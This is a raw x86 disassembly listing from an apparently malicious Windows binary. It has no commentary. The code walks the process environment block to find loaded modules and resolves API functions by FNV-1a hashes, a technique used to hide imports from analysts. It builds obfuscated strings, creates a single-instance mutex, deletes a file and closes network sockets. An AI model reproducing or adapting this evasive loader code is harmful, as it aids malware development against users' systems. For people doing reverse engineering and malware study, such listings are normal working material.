cmp esi, 0x71948ca4
je 0x46096d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460930
mov eax, dword [eax]
jmp 0x460905
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460a04
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460a04
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4609fd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4609e0
cmp esi, 0x71948ca4
je 0x460a08
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4609c6
mov eax, dword [eax]
jmp 0x4609a0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x68]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460a99
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460a99
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460a92
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460a75
cmp esi, 0xfaba0065
je 0x460a9d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460a60
mov eax, dword [eax]
jmp 0x460a37
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x1fc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460b34
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460b34
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460b2d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460b10
cmp esi, 0xfaba0065
je 0x460b38
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460af6
mov eax, dword [eax]
jmp 0x460ad0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x1f8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460bd4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460bd4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460bcd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460bb0
cmp esi, 0xfaba0065
je 0x460bd8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460b96
mov eax, dword [eax]
jmp 0x460b70
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x114]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460c69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460c69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460c62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460c45
cmp esi, 0xfaba0065
je 0x460c6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460c30
mov eax, dword [eax]
jmp 0x460c05
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460cf9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460cf9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460cf2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460cd5
cmp esi, 0xfaba0065
je 0x460cfd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460cc0
mov eax, dword [eax]
jmp 0x460c97
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460d89
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460d89
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460d82
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460d65
cmp esi, 0xfaba0065
je 0x460d8d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460d50
mov eax, dword [eax]
jmp 0x460d27
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x68]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xa6]
mov dword [ebp - 0xa6], 0x879f8fda
mov word [ebp - 0xa2], 0x100
call fcn.004620b0
lea ecx, [ebp - 0x7f]
mov word [ebp - 0x7f], 0xab
mov byte [ebp - 0x7d], 1
call fcn.00462260
lea eax, [ebp - 0x7f]
push 0x532ad4
push eax
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0x4d8]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x4c0]
mov edx, eax
call fcn.00468e20
lea ecx, [ebp - 0xa6]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460e13
sub ecx, esi
lea eax, [ebp - 0xa6]
push ecx
push eax
mov ecx, edx
call fcn.004677e0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004026b0
lea ecx, [ebp - 0x4c0]
call fcn.00402660
lea ecx, [ebp - 0x4d8]
call fcn.00402660
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], 0x879f8fda
mov word [ebp - 0x2c], 0x100
call fcn.004620b0
mov edx, 0x20
lea ecx, [ebp - 0x508]
call fcn.0040c1d0
push eax
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x4f0]
call fcn.00468d20
lea ecx, [ebp - 0x30]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460e90
sub ecx, esi
lea eax, [ebp - 0x30]
push ecx
push eax
mov ecx, edx
call fcn.004677e0
push eax
lea ecx, [ebp - 0x37c]
call fcn.004026b0
lea ecx, [ebp - 0x4f0]
call fcn.00402660
lea ecx, [ebp - 0x508]
call fcn.00402660
mov ecx, 0x535180
call fcn.004027a0
lea ecx, [ebp - 0x37c]
mov ebx, eax
call fcn.004027a0
sub esp, 0x18
mov esi, eax
mov edi, esp
mov ecx, edi
push dword [ebp - 0x10]
call fcn.004027f0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460ef4
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.00402810
sub esp, 0x18
mov ecx, esp
push 0x532aec
call fcn.00464ec0
mov ecx, ebx
call fcn.00407220
add esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
push eax
call fcn.00464ec0
sub esp, 0x18
lea eax, [ebp - 0x37c]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.0041eba0
add esp, 0x30
lea ecx, [ebp - 0x37c]
call fcn.004027a0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [0x534ea3], 0
je 0x460feb
cmp byte [ebp - 0x15], 0
jne 0x460feb
sub esp, 0x10
mov ecx, esp
push 0x535148
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535040
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535110
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535100
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535060
call int.004629d0
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.00419e80
add esp, 0x78
test al, al
je 0x460feb
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x29c]
mov ecx, esp
push eax
call fcn.00464ec0
sub esp, 0x10
mov ecx, esp
push 0x535148
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535040
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535110
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535100
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535060
call int.004629d0
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.00444970
add esp, 0x90
lea ecx, [ebp - 0x37c]
call fcn.00402660
lea ecx, [ebp - 0x2ec]
call fcn.00402660
jmp 0x461120
cmp byte [0x534ea3], 0
je 0x461120
cmp byte [ebp - 0x15], 0
jne 0x461120
sub esp, 0x10
mov ecx, esp
push 0x535148
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535040
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535110
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535100
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535060
call int.004629d0
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.00419e80
add esp, 0x78
test al, al
je 0x461120
call fcn.00416130
lea ecx, [ebp - 0x304]
call fcn.00402660
lea ecx, [ebp - 0x31c]
call fcn.00402660
lea ecx, [ebp - 0x334]
call fcn.00402660
lea ecx, [ebp - 0x40c]
call fcn.004614b0
lea ecx, [ebp - 0x414]
call fcn.00461510
lea ecx, [ebp - 0x264]
call fcn.00402660
lea ecx, [ebp - 0x27c]
call fcn.00402660
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push str.ekk3k3j2j3k494m3kk43k56n34634nk634nklwjs6nty4s3kje6jk
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x534ea3], 0
je 0x46131a
cmp byte [ebp - 0x15], 0
je 0x46131a
sub esp, 0x10
mov ecx, esp
push 0x535148
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535040
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535110
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535100
call int.004629d0
sub esp, 0x10
mov ecx, esp
push 0x535060
call int.004629d0
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.00419e80
add esp, 0x78
test al, al
je 0x46131a
push 0x532b1c
lea ecx, [ebp - 0x1ed]
mov dword [ebp - 0x1ed], 0x949f9987
mov dword [ebp - 0x1e9], 0x9296aa93
mov dword [ebp - 0x1e5], 0x91bf9898
mov word [ebp - 0x1e1], 0x64
mov byte [ebp - 0x1df], 1
call fcn.0040a210
mov edx, eax
lea ecx, [ebp - 0x520]
call fcn.00468cc0
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x520]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x461359
push 0x7530
call ebx
sub esp, 0x18
mov dword [ebp - 0x192], 0xb4b8a3bc
lea ecx, [ebp - 0x192]
mov dword [ebp - 0x18e], 0x97969dd6
mov word [ebp - 0x18a], 0x100
mov esi, esp
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041e710
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x461313
nop
push 0x64
call ebx
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4612f0
mov byte [0x534e81], 1
push 0xbb8
call ebx
push 2
push dword [0x532aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x532aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x534ea3], 0
je 0x461359
cmp byte [ebp - 0x15], 0
je 0x461359
nop word [eax + eax]
push 0x3e8
call ebx
jmp 0x461350
lea ecx, [ebp - 0x29c]
xor esi, esi
call fcn.00402660
lea ecx, [ebp - 0x3b8]
call fcn.00402660
lea ecx, [ebp - 0x240]
call fcn.00402660
mov ecx, dword [ebp - 0x200]
test ecx, ecx
je 0x46138b
call fcn.00403560
lea ecx, [ebp - 0x3e8]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10